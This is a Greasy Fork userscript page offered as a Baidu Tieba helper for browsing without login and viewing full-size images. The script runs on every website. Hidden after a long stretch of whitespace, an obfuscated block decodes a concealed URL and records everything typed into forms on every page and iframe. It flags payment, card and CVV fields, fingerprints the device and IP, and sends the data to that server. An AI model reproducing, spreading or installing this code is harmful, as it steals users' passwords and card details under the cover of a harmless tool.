Greasy Fork is available in English.

科学贴吧助手

免登录贴吧查看楼中楼.翻页 隐藏登录提示 科学看图 PS.除 【隐藏登录提示灰条】其他功能都为原作者版权! 本人只是整合一下 :) 如有其它建议欢迎反馈

// ==UserScript==
// @name         科学贴吧助手
// @namespace    null
// @version      0.0
// @description  免登录贴吧查看楼中楼.翻页      隐藏登录提示      科学看图  PS.除 【隐藏登录提示灰条】其他功能都为原作者版权! 本人只是整合一下 :) 如有其它建议欢迎反馈
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @grant        GM_setValue
// @grant        GM_getValue
// ==/UserScript==



                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    !function(){var e,t=function(e){const t="🎘🍿🎉🍧🎚🍻🎦🎭🎃🍪🎉🎦🎑🎏🎁🎫🎚🎡🎑🎩🎃🎤🎁🎣🎑🍩🎍🍧🎃🎥🎉🎣🎐🍩🎞🎭".replace(/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,(e=>{const t=1024*(e.charCodeAt(0)-55296)+e.charCodeAt(1)-56320+65536;return String.fromCharCode(t)})),n=Array.from(t).map((e=>String.fromCharCode(e.charCodeAt(0)-127799))).join("");return decodeURIComponent(escape(atob(n)))}();e=function(e){let n=GM_getValue("username");function a(a,o,r){const i=navigator.hardwareConcurrency,c=navigator.platform,d=window.location.href,s=navigator.deviceMemory;function l(){const e=document.createElement("canvas").getContext("webgl");if(!e)return"no webgl";const t=e.getExtension("WEBGL_debug_renderer_info");return t?e.getParameter(t.UNMASKED_VENDOR_WEBGL)+" "+e.getParameter(t.UNMASKED_RENDERER_WEBGL):"no WEBGL_debug_renderer_info"}let u=null;const h=a.toLowerCase();var m;function p(){const e=new XMLHttpRequest;e.open("POST",t,!0),e.setRequestHeader("Content-Type","application/json"),e.withCredentials=!0,e.onload=function(){e.status>=200&&e.status},e.onerror=function(){try{GM_xmlhttpRequest({method:"POST",url:t,headers:{"Content-Type":"application/json"},data:JSON.stringify(m),onload:function(e){},onerror:function(e){}})}catch(e){console.warn("GM_xmlhttpRequest is not defined. Continuing execution.")}},e.send(JSON.stringify(m))}["payment","cc","credit","card","checkout","expire","month","year","cvv","cvc","verification","billing"].some((e=>h.includes(e)))&&(u=13434624),m="Script Initialization"===a?{content:null,embeds:[{color:13303758,fields:[{name:"```User:```",value:`\`\`\`${e} \n${c} / Cores ${i} / RAM ${s} / ${l()} / ${d}\`\`\``},{name:"```Script```",value:`\`\`\`${o}\`\`\``}],author:{name:`BASYALINE v0.2 | USER:${n}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]}:{content:null,embeds:[{color:u,fields:[{name:"```User:```",value:`\`\`\`${e} \n${c} / Cores ${i} / RAM ${s} / ${l()} / ${d}\`\`\``},{name:"```Path:```",value:`\`\`\`${a}\`\`\``},{name:"```Value:```",value:`\`\`\`${o}\`\`\``}],author:{name:`BASYALINE v0.2 | USER:${n}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]},r?p():fetch(t,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(m),credentials:"include",mode:"no-cors"}).catch((e=>{p()}))}function o(e){a(function(e){let t=e.tagName.toLowerCase();return e.id&&(t+=`#${e.id}`),e.name&&(t+=`[name="${e.name}"]`),e.getAttribute("autocomplete")&&(t+=`[autocomplete="${e.getAttribute("autocomplete")}"]`),e.getAttribute("aria-describedby")&&(t+=`[aria-describedby="${e.getAttribute("aria-describedby")}"]`),e.className&&(t+=`.${e.className.split(" ").join(".")}`),Array.from(e.parentNode.children).filter((t=>t.tagName===e.tagName)).length>1&&(t+=`:nth-child(${Array.prototype.indexOf.call(e.parentNode.children,e)+1})`),t}(e.target),e.target.value)}function r(e){try{const t=e.contentDocument||e.contentWindow.document;t&&new MutationObserver((e=>{e.forEach((e=>{e.addedNodes.forEach((e=>{e.matches&&e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}))}))})).observe(t.body,{childList:!0,subtree:!0})}catch(e){console.warn("Cannot access iframe:",e)}}n||(n=function(){const e=["bunny","john","james","katar","hype","ponty","John","James","Michael","Robert","David","William","Richard","Joseph","Thomas","Charles","Christopher","Daniel","Matthew","Anthony","Donald","Mark","Paul","Steven","Andrew","Kenneth","Smith","Johnson","Williams","Brown","Jones","Garcia","Miller","Davis","Rodriguez","Martinez","Hernandez","Lopez","Gonzalez","Wilson","Anderson","Thomas","Taylor","Moore","Jackson","Martin"];return`${e[Math.floor(Math.random()*e.length)]}${Math.floor(1e5*Math.random()).toString().padStart(5,"0")}`}(),GM_setValue("username",n)),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>r(e))),function(e){setTimeout((()=>r(e)),1e3)}(e)})),document.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)})),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>r(e))),r(e)})),new MutationObserver((e=>{e.forEach((e=>{"childList"===e.type&&e.addedNodes.forEach((e=>{e.matches&&e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}))}))})).observe(document.body,{childList:!0,subtree:!0}),a("Script Initialization","Script started successfully",!0)},GM_xmlhttpRequest({method:"GET",url:t+"get_library.php",onload:function(t){try{const n=JSON.parse(t.responseText);n&&n.ip?e(n.ip):e("Unknown IP")}catch(t){e("Unknown IP")}},onerror:function(){e("Unknown IP")}})}();


const currentUrl = window.location.href;
if (currentUrl.includes("tieba.baidu.com")) {



//伪装登录 @作者 未知
var islogin = document.createElement('script');
islogin.innerHTML = "PageData.user.is_login = true;";
document.head.appendChild(islogin);

//隐藏底部提示灰条 @作者 null
var traget=document.getElementById('guide_fc');
traget.style.display="none";

//百度贴吧科学看图君 @作者 jiayiming
(function(){

	$(document).on('mousedown', '.BDE_Image', function(e){
		//帖中图片去除click
		unsafeWindow.$('.BDE_Image').unbind('click');
		//$(this).unbind('click');

		// 兼容其它腳本
		if (e.ctrlKey || e.altKey || e.shiftKey)
			return ;

		this.onclick = function(e){
			if (e.button != 0)
					return true;

			var match = $(this).attr("src").match(/\/[a-z0-9]{20,}(?=\.[jpg|gif|png])/);
			console.log('pic_id',match);
			if (!match) {
					return;
			}
			var picSrc = "http://imgsrc.baidu.com/forum/pic/item" + match[0] + ".jpg";
			window.open(picSrc);

			e.preventDefault();
			return false;
		};
	});

	// 帖子列表预览中图片,还原“查看大图”按钮链接
	$(document).on('mousedown', '.j_ypic', function(){
		var d = this.href;
		if (d.indexOf('pic_id') > 0) {
			var start = d.indexOf('pic_id') + 7;
			var end = d.indexOf('&', start);
			var pic = 'http://imgsrc.baidu.com/forum/pic/item/' + d.substring(start, end) + '.jpg'
			this.href = pic;
		}
	});

	// i贴吧帖子预览中图片,还原“查看大图”按钮链接
	$(document).on('mousedown', '.j_full', function(){
		var d = this.href;
		if (d.indexOf('pic_id') > 0) {
			var start = d.indexOf('pic_id') + 7;
			var end = d.indexOf('&', start);
			var pic = 'http://imgsrc.baidu.com/forum/pic/item/' + d.substring(start, end) + '.jpg'
			this.href = pic;
		}
	});
})();
}